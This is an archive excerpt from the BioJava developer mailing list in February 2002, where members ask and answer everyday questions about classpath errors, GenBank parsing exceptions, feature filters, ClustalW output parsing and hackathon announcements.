On Thu, Feb 21, 2002 at 05:09:26PM +0000, Kevin Glover wrote:
>
> > Hmmm, how come in the first example it's able to find any
> > BioJava classes at all? Have you included an unpacked copy
> > of BioJava in your directory structure.
>
> No, but both biojava and an XML parser exist in my classpath.
Ah-ha. I suspect that might well be the problem.
Could you try removing these from the classpath (I guess
you'll want to do a complete restart of Mozilla after this),
and just reference the .jar files from the archive=
attribute of the applet element?
I think you might have stumbled across some kind of nasty
ClassLoader issue...
Thomas.
From chapmanb@arches.uga.edu Fri Feb 22 12:21:35 2002
From: chapmanb@arches.uga.edu (Brad Chapman)
Date: Fri, 22 Feb 2002 07:21:35 -0500
Subject: [Biojava-l] Following the Biohackathon
Message-ID: <20020222072135.A25305@ci350185-a.athen1.ga.home.com>
[Apologies for the cross-posting. I know, I get 10 copies of this
message too.]
Hello all;
As many of you may know, quite a few people involved with the
open-bio projects (http://www.open-bio.org/) are participating in a
two-part hackathon, sponsored by the nice folks at O'Reilly and
Electric Genetics. This hackathon gives the motley crew involved
with various open source bioinformatics projects (ie. BioPerl, BioJava,
Biopython, DAS, Ensembl, BioRuby, GO, MOBY, OmniGene...) a chance
to get together and get some serious hacking done.
The first part took place at the O'Reilly Bioinformatics Conference
in Tucson during the end of January. Due to the fact that all of us
involved are hard working and smarter than your average bear, we
accomplished quite a bit of good stuff and were very proud of
ourselves. Big pats on the back all around.
This mail is to let you know that the second part of the hackathon
will be taking place next week in Cape Town, South Africa. You can
find tons of detail about the schedule and plans on the Electric
Genetics website:
http://www.egenetics.com/?Section=Biohackathon_details&Parent=open_source
If you're keen to follow the exciting world of open-source
bioinformatics hacking play-by-play, we'll be fully on-line at:
http://www.technophage.com
This page will feature technical details of what we're working on,
amazing pictures of South Africa, and color commentary featuring all
of those nasty tidbits you've always wanted to hear about your
favorite bioinformatics programmer.
Although-there-certainly-won't-be-anything-juicy-about-me-ly yr's,
Brad
--
PGP public key available from http://pgp.mit.edu/
From David Huen <smh1008@cus.cam.ac.uk> Fri Feb 22 22:38:45 2002
From: David Huen <smh1008@cus.cam.ac.uk> (David Huen)
Date: Fri, 22 Feb 2002 22:38:45 +0000 (GMT)
Subject: [Biojava-l] How does CVS react to an aborted connection?
Message-ID: <Pine.SOL.3.96.1020222221037.19344A-100000@libra.cus.cam.ac.uk>
I made a mistake while attempting to import the das-client package as a
project: I was in the directory above where I should have been and after
sometime I realised it and aborted the command (it could have gone on for
a very long time given the size of that directory). I then cd'ed to the
correct directory and repeated the import correctly this time.
As far as I can determine the new package seems to be there and it
checkouts and compiles correctly. I also checked that the biojava-live
package was not affected by my error and it seems to go correctly with
cvs update -d. (it could have potentially been since my directory root
included this directory).
Could anyone tell me whether the aborted command would have left any crud
in the repository and if so, how to clear it?
Anyway, for what it's worth, the ant-ised version of das-gui can now be
checked out as das-client.
Thanks,
David Huen
From David Huen <smh1008@cus.cam.ac.uk> Fri Feb 22 23:44:00 2002
From: David Huen <smh1008@cus.cam.ac.uk> (David Huen)
Date: Fri, 22 Feb 2002 23:44:00 +0000 (GMT)
Subject: [Biojava-l] ABITrace
Message-ID: <Pine.SOL.3.96.1020222232039.12960A-100000@virgo.cus.cam.ac.uk>
A class written by David Klatte for handling ABI trace file format has
been added. I should have committed this ages ago but it got lost in my
stack (infinite push, zero pop).
Looks useful.
Regards,
David Huen
From David Huen <smh1008@cus.cam.ac.uk> Sat Feb 23 02:03:44 2002
From: David Huen <smh1008@cus.cam.ac.uk> (David Huen)
Date: Sat, 23 Feb 2002 02:03:44 +0000 (GMT)
Subject: [Biojava-l] javadoc warnings
Message-ID: <Pine.SOL.3.96.1020223001938.12960D-100000@virgo.cus.cam.ac.uk>
The size of the Javadocs warnings seems to have grown considerably over
the last few months. We have 111 warnings when doing "ant javadocs".
I've looked over them and managed to deal with the most serious ones
(where commented-out code end up in the docs) and some others to
reduce the number to 78. There are less serious ones that seem to have
something to do with an imminent change in the way Javadoc will deal with
the first line which may bite later (see -breakiterator). These concern
the way in which the first line of a comment is recognised: this will
change soon.
Another major source is the use of the @created tag which is apparently
not known.
Could others have a look to see whether we can reduce this further? Or
even whether we should bother to do so?
Thanks,
David Huen
From june9876@yahoo.com Sat Feb 23 14:57:17 2002
From: june9876@yahoo.com (June Tantoolvesm)
Date: Sat, 23 Feb 2002 06:57:17 -0800 (PST)
Subject: [Biojava-l] can't compile GCContent
Message-ID: <20020223145717.15104.qmail@web21404.mail.yahoo.com>
Hello,
I hope this hasn't already been answered in the mail
archive, but if it has I couldn't find it, sorry. I tried
to compile the first example in the tutorial (GCContent),
and I get the following error:
GCContent.java [23:1] Incompatible type for =. Can't
convert Sequence to Sequence.
Sequence seq = stream.nextSequence();
^
GCContent.java [25:1] No method found matching length()
for (int pos = 1; pos <= seq.length(); ++pos) {
^
GCContent.java [26:1] No method found matching
symbolAt(int)
Symbol sym = seq.symbolAt(pos);
^
GCContent.java [26:1] Cannot parse initializer
Symbol sym = seq.symbolAt(pos);
^
GCContent.java [30:1] No method found matching getName()
System.out.println(seq.getName() + ": " +
^
GCContent.java [31:1] No method found matching length()
((gc * 100.0) /
seq.length()) +
^
6 errors
==============================
I have downloaded
biojava-1.20.jar
bytecode-0.90.jar
jakarta-regexp.jar
xerces.jar
and placed them in c:\biojava\
My classpath is
CLASSPATH=C:\biojava\biojava-1.20.jar;C:\biojava\bytecode-0.90.jar;C:\biojava\xerces.jar;.
I am using Windows 2000.
Thanks.
June
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From smh1008@cus.cam.ac.uk Sat Feb 23 16:28:22 2002
From: smh1008@cus.cam.ac.uk (David Huen)
Date: Sat, 23 Feb 2002 16:28:22 +0000 (GMT)
Subject: [Biojava-l] can't compile GCContent
In-Reply-To: <20020223145717.15104.qmail@web21404.mail.yahoo.com>
Message-ID: <Pine.SOL.3.96.1020223162236.5261A-100000@libra.cus.cam.ac.uk>
On Sat, 23 Feb 2002, June Tantoolvesm wrote:
> Hello,
>
> I hope this hasn't already been answered in the mail
> archive, but if it has I couldn't find it, sorry. I tried
> to compile the first example in the tutorial (GCContent),
> and I get the following error:
>
>
> GCContent.java [23:1] Incompatible type for =. Can't
> convert Sequence to Sequence.
> Sequence seq = stream.nextSequence();
> ^
> GCContent.java [25:1] No method found matching length()
> for (int pos = 1; pos <= seq.length(); ++pos) {
> ^
> GCContent.java [26:1] No method found matching
> symbolAt(int)
> Symbol sym = seq.symbolAt(pos);
> ^
> GCContent.java [26:1] Cannot parse initializer
> Symbol sym = seq.symbolAt(pos);
> ^
> GCContent.java [30:1] No method found matching getName()
> System.out.println(seq.getName() + ": " +
> ^
> GCContent.java [31:1] No method found matching length()
> ((gc * 100.0) /
> seq.length()) +
> ^
Seems not to be finding the biojava jar.
>
> My classpath is
>
> CLASSPATH=C:\biojava\biojava-1.20.jar;C:\biojava\bytecode-0.90.jar;C:\biojava\xerces.jar;.
>
I don't use Windows regularly enough to recall correctly but is the
separator in the CLASSPATH ";" rather than the ":" used in Linux?
If there's something equivalent to:-
echo $CLASSPATH
it might be useful to check that it is really set.
Hope someone using Windows will be able to clarify.
Which Java are you using?
Regards,
David Huen
From june9876@yahoo.com Sun Feb 24 02:28:21 2002
From: june9876@yahoo.com (June Tantoolvesm)
Date: Sat, 23 Feb 2002 18:28:21 -0800 (PST)
Subject: [Biojava-l] can't compile GCContent
In-Reply-To: <Pine.SOL.3.96.1020223162236.5261A-100000@libra.cus.cam.ac.uk>
Message-ID: <20020224022821.86755.qmail@web21406.mail.yahoo.com>
Hi,
Silly me, it works now. Apparently I have to compile it
from the command line, I was compiling it from Forte
before. Well, actually I don't understand why the change
works but...oh well.
Thanks for your help though. =)
June
--- David Huen <smh1008@cus.cam.ac.uk> wrote:
> On Sat, 23 Feb 2002, June Tantoolvesm wrote:
>
> > Hello,
> >
> > I hope this hasn't already been answered in the mail
> > archive, but if it has I couldn't find it, sorry. I
> tried
> > to compile the first example in the tutorial
> (GCContent),
> > and I get the following error:
> >
> >
> > GCContent.java [23:1] Incompatible type for =. Can't
> > convert Sequence to Sequence.
> > Sequence seq = stream.nextSequence();
> > ^
> > GCContent.java [25:1] No method found matching length()
> > for (int pos = 1; pos <= seq.length();
> ++pos) {
> > ^
> > GCContent.java [26:1] No method found matching
> > symbolAt(int)
> > Symbol sym = seq.symbolAt(pos);
> > ^
> > GCContent.java [26:1] Cannot parse initializer
> > Symbol sym = seq.symbolAt(pos);
> > ^
> > GCContent.java [30:1] No method found matching
> getName()
> > System.out.println(seq.getName() + ": " +
> > ^
> > GCContent.java [31:1] No method found matching length()
> > ((gc * 100.0) /
> > seq.length()) +
> > ^
> Seems not to be finding the biojava jar.
>
> >
> > My classpath is
> >
> >
>
CLASSPATH=C:\biojava\biojava-1.20.jar;C:\biojava\bytecode-0.90.jar;C:\biojava\xerces.jar;.
> >
> I don't use Windows regularly enough to recall correctly
> but is the
> separator in the CLASSPATH ";" rather than the ":" used
> in Linux?
>
> If there's something equivalent to:-
> echo $CLASSPATH
>
> it might be useful to check that it is really set.
>
> Hope someone using Windows will be able to clarify.
>
> Which Java are you using?
>
> Regards,
> David Huen
>
>
> _______________________________________________
> Biojava-l mailing list - Biojava-l@biojava.org
> http://biojava.org/mailman/listinfo/biojava-l
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From mark.schreiber@agresearch.co.nz Wed Feb 27 04:13:40 2002
From: mark.schreiber@agresearch.co.nz (Schreiber, Mark)
Date: Wed, 27 Feb 2002 17:13:40 +1300
Subject: [Biojava-l] Sensible toString() methods
Message-ID: <AF026AF0FF4B054590228FD1F1DE516516ED26@inbox.agresearch.co.nz>
Hi -
Is it possibly time to change some of the toString() methods to give
more informative values (rather than a hashcode?).
I say this because I was making a GUI using a JTree to display nested
Features. JTree automatically names nodes by their toString method. When
I tried to be cunning by returning the getName() method of a sequence as
a node I ran into the problem that my TreeModel, which was set up to
test for the number of leaves etc by first determining if the node was
an instanceof a FeatureHolder, sadly gave up the Ghost.
Many such MCV components use the toString method so now that BioJava is
more mature I think we should fix this up.
Mark
Mark Schreiber
Bioinformatics
AgResearch Invermay
PO Box 50034
Mosgiel
New Zealand
PH: +64 3 489 9175
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From heuermh@acm.org Wed Feb 27 18:05:10 2002
From: heuermh@acm.org (Michael L. Heuer)
Date: Wed, 27 Feb 2002 13:05:10 -0500 (EST)
Subject: [Biojava-l] Re: Sensible toString() methods
In-Reply-To: <200202271701.g1RH1NkO012514@pw600a.bioperl.org>
Message-ID: <Pine.GSO.4.30.0202271248530.24732-100000@shell3.shore.net>
Mark Schreiber wrote:
> Is it possibly time to change some of the toString() methods to give
> more informative values (rather than a hashcode?).
>
> I say this because I was making a GUI using a JTree to display nested
> Features. JTree automatically names nodes by their toString method. When
> I tried to be cunning by returning the getName() method of a sequence as
> a node I ran into the problem that my TreeModel, which was set up to
> test for the number of leaves etc by first determining if the node was
> an instanceof a FeatureHolder, sadly gave up the Ghost.
>
> Many such MCV components use the toString method so now that BioJava is
> more mature I think we should fix this up.
Actually a better design in this case, for gui work, is to create custom
renderer components for biojava objects.
For example, in a JTree that views features, use
class FeatureTreeCellRenderer extends DefaultTreeCellRenderer {
public Component getTreeCellRendererComponent(JTree tree, Object value, ...) {
JLabel l = (JLabel) super.getTreeCellRendererComponent(tree,value,...);
Feature f = (Feature) value;
l.setText(f.getName());
return l;
}
}
JTree tree = new JTree();
tree.setCellRenderer(new FeatureTreeCellRenderer());
or something similar.
michael
From cantey.lg@pg.com Wed Feb 27 18:27:35 2002
From: cantey.lg@pg.com (cantey.lg@pg.com)
Date: Wed, 27 Feb 2002 13:27:35 -0500
Subject: [Biojava-l] Encountered a Parsing Exception on Genbank
Message-ID: <OFEDD22379.BA61F64E-ON85256B6D.0064287B@na.pg.com>
In attempting to parse the source file for Genbank accession number AB030903,
the following exception was encountered. Any ideas would be greatly
appreciated !
----------------------------------------------------------
org.biojava.bio.seq.io.ParseException: LOCUS line incorrectly tokenized [LOCUS AB030903 1441 bp linear VRT 15-AUG-2000]
at org.biojava.bio.seq.io.GenbankContext.parseLocusLinePost127(GenbankFormat.java:611)
at org.biojava.bio.seq.io.GenbankContext.processHeaderLine(GenbankFormat.java:521)
at org.biojava.bio.seq.io.GenbankContext.processLine(GenbankFormat.java:372)
at org.biojava.bio.seq.io.GenbankFormat.readSequence(GenbankFormat.java, Compiled Code)
at org.biojava.bio.seq.io.StreamReader.nextSequence(StreamReader.java:100)
rethrown as org.biojava.bio.BioException: Could not read sequence
at org.biojava.bio.seq.io.StreamReader.nextSequence(StreamReader.java:103)
at seq.UpdatedTestGenbank.main(UpdatedTestGenbank.java, Compiled Code)
Process exited with exit code 1.
Best Regards,
Larry Cantey
From gcox@netgenics.com Wed Feb 27 19:15:03 2002
From: gcox@netgenics.com (Cox, Greg)
Date: Wed, 27 Feb 2002 14:15:03 -0500
Subject: [Biojava-l] Encountered a Parsing Exception on Genbank
Message-ID: <DB52A7625347D211A1D70060B06AB1E204480359@exchgcle.dev.netgenics.com>
This record is malformed, it's something we've seen internally with the new
version of genbank. It's missing the TYPE tag in columns 45-53. I'd
suggest:
1) Dummy up your record so it conforms to the Genbank spec.
2) Comment out the body of parseLocusLinePost127() if you don't need any
information from there.
Greg
> -----Original Message-----
> From: cantey.lg@pg.com [mailto:cantey.lg@pg.com]
> Sent: Wednesday, February 27, 2002 1:28 PM
> To: biojava-l@biojava.org
> Subject: [Biojava-l] Encountered a Parsing Exception on Genbank
>
>
> In attempting to parse the source file for Genbank accession
> number AB030903,
> the following exception was encountered. Any ideas would be greatly
> appreciated !
> ----------------------------------------------------------
>
> org.biojava.bio.seq.io.ParseException: LOCUS line incorrectly
> tokenized [LOCUS AB030903 1441 bp
> linear VRT 15-AUG-2000]
>
> at
> org.biojava.bio.seq.io.GenbankContext.parseLocusLinePost127(Ge
> nbankFormat.java:611)
>
> at
> org.biojava.bio.seq.io.GenbankContext.processHeaderLine(Genban
> kFormat.java:521)
>
> at
> org.biojava.bio.seq.io.GenbankContext.processLine(GenbankForma
> t.java:372)
>
> at
> org.biojava.bio.seq.io.GenbankFormat.readSequence(GenbankForma
> t.java, Compiled Code)
>
> at
> org.biojava.bio.seq.io.StreamReader.nextSequence(StreamReader.
> java:100)
>
> rethrown as org.biojava.bio.BioException: Could not read sequence
>
> at
> org.biojava.bio.seq.io.StreamReader.nextSequence(StreamReader.
> java:103)
>
> at seq.UpdatedTestGenbank.main(UpdatedTestGenbank.java,
> Compiled Code)
>
> Process exited with exit code 1.
>
> Best Regards,
> Larry Cantey
>
>
> _______________________________________________
> Biojava-l mailing list - Biojava-l@biojava.org
> http://biojava.org/mailman/listinfo/biojava-l
>
From gcox@netgenics.com Wed Feb 27 21:51:39 2002
From: gcox@netgenics.com (Cox, Greg)
Date: Wed, 27 Feb 2002 16:51:39 -0500
Subject: [Biojava-l] Encountered a Parsing Exception on Genbank
Message-ID: <DB52A7625347D211A1D70060B06AB1E20448035D@exchgcle.dev.netgenics.com>
I've got a fix in that will treat the missing type tag as optional. This
should be backed out when NCBI releases a new version, but will get people
through in the meantime. The catch is that if there's a different field
missing, it will fail silently. I haven't seen any records like that; if
you do please let me know.
Greg
> -----Original Message-----
> From: Cox, Greg [mailto:gcox@netgenics.com]
> Sent: Wednesday, February 27, 2002 2:15 PM
> To: 'cantey.lg@pg.com'; biojava-l@biojava.org
> Subject: RE: [Biojava-l] Encountered a Parsing Exception on Genbank
>
>
> This record is malformed, it's something we've seen
> internally with the new
> version of genbank. It's missing the TYPE tag in columns 45-53. I'd
> suggest:
> 1) Dummy up your record so it conforms to the Genbank spec.
> 2) Comment out the body of parseLocusLinePost127() if you
> don't need any
> information from there.
>
> Greg
>
> > -----Original Message-----
> > From: cantey.lg@pg.com [mailto:cantey.lg@pg.com]
> > Sent: Wednesday, February 27, 2002 1:28 PM
> > To: biojava-l@biojava.org
> > Subject: [Biojava-l] Encountered a Parsing Exception on Genbank
> >
> >
> > In attempting to parse the source file for Genbank accession
> > number AB030903,
> > the following exception was encountered. Any ideas would
> be greatly
> > appreciated !
> > ----------------------------------------------------------
> >
> > org.biojava.bio.seq.io.ParseException: LOCUS line incorrectly
> > tokenized [LOCUS AB030903 1441 bp
> > linear VRT 15-AUG-2000]
> >
> > at
> > org.biojava.bio.seq.io.GenbankContext.parseLocusLinePost127(Ge
> > nbankFormat.java:611)
> >
> > at
> > org.biojava.bio.seq.io.GenbankContext.processHeaderLine(Genban
> > kFormat.java:521)
> >
> > at
> > org.biojava.bio.seq.io.GenbankContext.processLine(GenbankForma
> > t.java:372)
> >
> > at
> > org.biojava.bio.seq.io.GenbankFormat.readSequence(GenbankForma
> > t.java, Compiled Code)
> >
> > at
> > org.biojava.bio.seq.io.StreamReader.nextSequence(StreamReader.
> > java:100)
> >
> > rethrown as org.biojava.bio.BioException: Could not read sequence
> >
> > at
> > org.biojava.bio.seq.io.StreamReader.nextSequence(StreamReader.
> > java:103)
> >
> > at seq.UpdatedTestGenbank.main(UpdatedTestGenbank.java,
> > Compiled Code)
> >
> > Process exited with exit code 1.
> >
> > Best Regards,
> > Larry Cantey
> >
> >
> > _______________________________________________
> > Biojava-l mailing list - Biojava-l@biojava.org
> > http://biojava.org/mailman/listinfo/biojava-l
> >
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From mark.schreiber@agresearch.co.nz Wed Feb 27 22:32:01 2002
From: mark.schreiber@agresearch.co.nz (Schreiber, Mark)
Date: Thu, 28 Feb 2002 11:32:01 +1300
Subject: [Biojava-l] Recursion of FeatureFilters
Message-ID: <AF026AF0FF4B054590228FD1F1DE51650F429B@inbox.agresearch.co.nz>
Hi -
I am making a JTree to display features and nestes features of a
sequence etc. For each Feature if I retreive a feature holder from it by
filtering it with the desired filter and set the recurse paramter to
true will the nested features essentially become unnested? (If that
makes sense).
Basically I want the features to be filterable and retain their nested
heirachy for display on the JTree.
Thanks
Mark
Mark Schreiber
Bioinformatics
AgResearch Invermay
PO Box 50034
Mosgiel
New Zealand
PH: +64 3 489 9175
=======================================================================
Attention: The information contained in this message and/or attachments
from AgResearch Limited is intended only for the persons or entities
to which it is addressed and may contain confidential and/or privileged
material. Any review, retransmission, dissemination or other use of, or
taking of any action in reliance upon, this information by persons or
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=======================================================================
From hbalke@optonline.net Thu Feb 28 04:58:54 2002
From: hbalke@optonline.net (hbalke)
Date: Wed, 27 Feb 2002 20:58:54 -0800
Subject: [Biojava-l] New to the list
Message-ID: <NDEJIECFDHKHIJOLLIAPGEHKCAAA.hbalke@optonline.net>
All -- I'm a Java developer (mostly server-side) with an interest in
genomics and am interested in getting involved with open-source
bioinformatics software. My skill set is J2EE on iPlanet web and app servers
for either the Solaris or NT operating systems. I just joined the mailing
list and received some e-mails with stack traces whose class names are
intriguing. How can I get involved in some developer/debugger capacity with
this effort ? Thanks.
From smh1008@cus.cam.ac.uk Thu Feb 28 06:46:30 2002
From: smh1008@cus.cam.ac.uk (David Huen)
Date: Thu, 28 Feb 2002 06:46:30 +0000 (GMT)
Subject: [Biojava-l] New to the list
In-Reply-To: <NDEJIECFDHKHIJOLLIAPGEHKCAAA.hbalke@optonline.net>
Message-ID: <Pine.SOL.3.96.1020228063927.24759E-100000@virgo.cus.cam.ac.uk>
On Wed, 27 Feb 2002, hbalke wrote:
> All -- I'm a Java developer (mostly server-side) with an interest in
> genomics and am interested in getting involved with open-source
> bioinformatics software. My skill set is J2EE on iPlanet web and app servers
> for either the Solaris or NT operating systems. I just joined the mailing
> list and received some e-mails with stack traces whose class names are
> intriguing. How can I get involved in some developer/debugger capacity with
> this effort ? Thanks.
>
Welcome!
In general, you can either originate new projects or get involved in
maintaining or extending current ones. With your current skill set you
might perhaps be interested in the Distributed Annotation System (DAS)
server software for delivering biological information over the net
perhaps? The current incarnation uses http while a SOAP-based version is
in the works. For more details about this, you could download from CVS
the xdas modules as well as the core biojava-live module. The client is
in das-gui (or das-client when that's debugged - classpath bug). For more
detailed information on this, contact Thomas Down (td2@sanger.ac.uk).
CHoose whatever takes your fancy within BioJava basically.
If you want a fast intro, there's a bootcamp running at Sanger Centre
18-22 March, registration required.
best wishes and have fun,
David Huen
From matthew_pocock@yahoo.co.uk Thu Feb 28 07:54:47 2002
From: matthew_pocock@yahoo.co.uk (Matthew Pocock)
Date: Thu, 28 Feb 2002 07:54:47 +0000
Subject: [Biojava-l] Recursion of FeatureFilters
References: <AF026AF0FF4B054590228FD1F1DE51650F429B@inbox.agresearch.co.nz>
Message-ID: <3C7DE247.8020304@yahoo.co.uk>
Hi Mark.
Good questions. The feature filters will not alter the feature objects,
so if you use a filter to get a gene feature, it will still have all of
its children attached as well as its parents. If you filter with the
recurse parameter as false, it will only scan the emediate children. If
it is true, it will scan all descendants.
For example, filtering with accept all will return you a feature holder
containing all decendants of that feature, and you can still go to each
of these and get at the children they had as per normal.
There are now a couple of filters that pull features out based upon
properties of other features with defined relationship (e.g. fetch me
all features with assembly parents).
Matthew
Schreiber, Mark wrote:
> Hi -
>
> I am making a JTree to display features and nestes features of a
> sequence etc. For each Feature if I retreive a feature holder from it by
> filtering it with the desired filter and set the recurse paramter to
> true will the nested features essentially become unnested? (If that
> makes sense).
>
> Basically I want the features to be filterable and retain their nested
> heirachy for display on the JTree.
>
> Thanks
>
> Mark
>
> Mark Schreiber
> Bioinformatics
> AgResearch Invermay
> PO Box 50034
> Mosgiel
> New Zealand
>
> PH: +64 3 489 9175
>
>
> =======================================================================
> Attention: The information contained in this message and/or attachments
> from AgResearch Limited is intended only for the persons or entities
> to which it is addressed and may contain confidential and/or privileged
> material. Any review, retransmission, dissemination or other use of, or
> taking of any action in reliance upon, this information by persons or
> entities other than the intended recipients is prohibited by AgResearch
> Limited. If you have received this message in error, please notify the
> sender immediately.
> =======================================================================
> _______________________________________________
> Biojava-l mailing list - Biojava-l@biojava.org
> http://biojava.org/mailman/listinfo/biojava-l
>
>
From stein.aerts@esat.kuleuven.ac.be Thu Feb 28 14:21:11 2002
From: stein.aerts@esat.kuleuven.ac.be (Stein Aerts)
Date: Thu, 28 Feb 2002 15:21:11 +0100
Subject: [Biojava-l] Matching transfac matrices
In-Reply-To: <3C7DE247.8020304@yahoo.co.uk>
Message-ID: <FBEPIAAPLJDJHJJLHHNIEEJPCEAA.stein.aerts@esat.kuleuven.ac.be>
Hello,
does anyone have experience matching matrices from the Transfac library of
transcription factor binding sites to a sequence? In other words, would
there be a biojava method that covers the functionality of programs like
Matinspector or Match?
Thanks in advance,
Stein Aerts.
Ir Stein Aerts
Katholic University Leuven, ESAT-SCD
Kasteelpark Arenberg 10
3001 Heverlee, Belgium
Tel +32-16-32.17.91
Fax +32-16-32.19.70
http://www.esat.kuleuven.ac.be/~dna/BioI/
From Guoneng.Zhong@med.nyu.edu Thu Feb 28 20:40:11 2002
From: Guoneng.Zhong@med.nyu.edu (Guoneng Zhong)
Date: Thu, 28 Feb 2002 15:40:11 -0500
Subject: [Biojava-l] Clustalw tutorial
Message-ID: <5C26E738-2C8B-11D6-97E7-0050E41E5C1B@med.nyu.edu>
Hi all,
Is there a tutorial on how to handle ClustalW outputs?
Thanks,
Guoneng
From Guoneng.Zhong@med.nyu.edu Thu Feb 28 21:31:03 2002
From: Guoneng.Zhong@med.nyu.edu (Guoneng Zhong)
Date: Thu, 28 Feb 2002 16:31:03 -0500
Subject: [Biojava-l] exception with no stacktrace
Message-ID: <779329E0-2C92-11D6-97E7-0050E41E5C1B@med.nyu.edu>
Hi,
I tried the following lines and got the following exception. Problem is
that I don't know what the problem is. What line and what the
underlying cause. There is no stacktrace beyond my own...
Thanks ahead for all the help!
G
AlignmentFormat format = new MSFAlignmentFormat();
Alignment alignment = format.read(new BufferedReader(new
FileReader(file)));
List labels = alignment.getLabels();
System.out.println("Retrieved "+labels.size()+" labels");
for(int i=0;i<labels.size();i++){
SymbolList list = (SymbolList)labels.get(i);
System.out.println(list.seqString());
}
MSFFormatReader null
Exception in thread "main" java.lang.NullPointerException
at test.TestClustalW.readFile(TestClustalW.java:27)
at test.TestClustalW.main(TestClustalW.java:20)
From gcox@netgenics.com Thu Feb 28 21:54:49 2002
From: gcox@netgenics.com (Cox, Greg)
Date: Thu, 28 Feb 2002 16:54:49 -0500
Subject: [Biojava-l] exception with no stacktrace
Message-ID: <DB52A7625347D211A1D70060B06AB1E204480365@exchgcle.dev.netgenics.com>
I'd need to see all your code to be sure, but it looks like your file isn't
initialized, and that's what's causing the null pointer exception. Whenere
is 'file' coming from in creating the bufferedReader? If you're sure it's
valid, I'd recommed breaking that line up into sub lines to track down which
statement is causing problems.
Greg
> -----Original Message-----
> From: Guoneng Zhong [mailto:Guoneng.Zhong@med.nyu.edu]
> Sent: Thursday, February 28, 2002 4:31 PM
> To: biojava-l@biojava.org
> Subject: [Biojava-l] exception with no stacktrace
>
>
> Hi,
> I tried the following lines and got the following exception.
> Problem is
> that I don't know what the problem is. What line and what the
> underlying cause. There is no stacktrace beyond my own...
>
> Thanks ahead for all the help!
>
> G
>
> AlignmentFormat format = new MSFAlignmentFormat();
> Alignment alignment = format.read(new BufferedReader(new
> FileReader(file)));
> List labels = alignment.getLabels();
> System.out.println("Retrieved "+labels.size()+" labels");
> for(int i=0;i<labels.size();i++){
> SymbolList list = (SymbolList)labels.get(i);
> System.out.println(list.seqString());
> }
>
> MSFFormatReader null
> Exception in thread "main" java.lang.NullPointerException
> at test.TestClustalW.readFile(TestClustalW.java:27)
> at test.TestClustalW.main(TestClustalW.java:20)
>
> _______________________________________________
> Biojava-l mailing list - Biojava-l@biojava.org
> http://biojava.org/mailman/listinfo/biojava-l
>
From simon.brocklehurst@CambridgeAntibody.com Thu Feb 28 23:04:49 2002
From: simon.brocklehurst@CambridgeAntibody.com (Simon Brocklehurst)
Date: Thu, 28 Feb 2002 23:04:49 +0000
Subject: [Biojava-l] Clustalw tutorial
References: <5C26E738-2C8B-11D6-97E7-0050E41E5C1B@med.nyu.edu>
Message-ID: <3C7EB791.79BB3BE1@CambridgeAntibody.com>
Guoneng Zhong wrote:
> Hi all,
>
> Is there a tutorial on how to handle ClustalW outputs?
> Thanks,
>
Hi
We're definitely light on documentation for this - I will try to do a
tutorial
on this. Here's a little explanation... hope it helps.
o The parser simple deals with the *output* from ClustalW. The
particular
file it deals with is the .aln file that ClustalW produces (see the
ClustalWAlignmentSAXParser JavaDoc for details).
o Thus, ClustalW does *not* have to be installed on the system that
biojava is
installed on. All you need is access to the .aln file.
o To understand the events produced by any SAX parser in biojava, run
the
biojava application org.biojava.bio.program.sax.GenericSAXParserTest.
Hint:
remember to specify the full name of the SAXParser i.e.
org.biojava.etc.etc.
The output of this program is an XML document. If you do this, you'll
see
that the XML produced for multiple alignments is very simple.
o Rather than using the ClustalWAlignmentSAXParser, a better class to
use is
SequenceAlignmentSAXParser. This is designed to take multiple sequence
alignments from a variety of programs and recognised formats
automatically.
Note - it only recognises ClustalW and Needle (from EMBOSS) right now.
Simon
--
Simon M. Brocklehurst, Ph.D.
Head of Bioinformatics & Advanced IS
Cambridge Antibody Technology
The Science Park, Melbourn, Cambridgeshire, UK
http://www.CambridgeAntibody.com/
mailto:simon.brocklehurst@CambridgeAntibody.com
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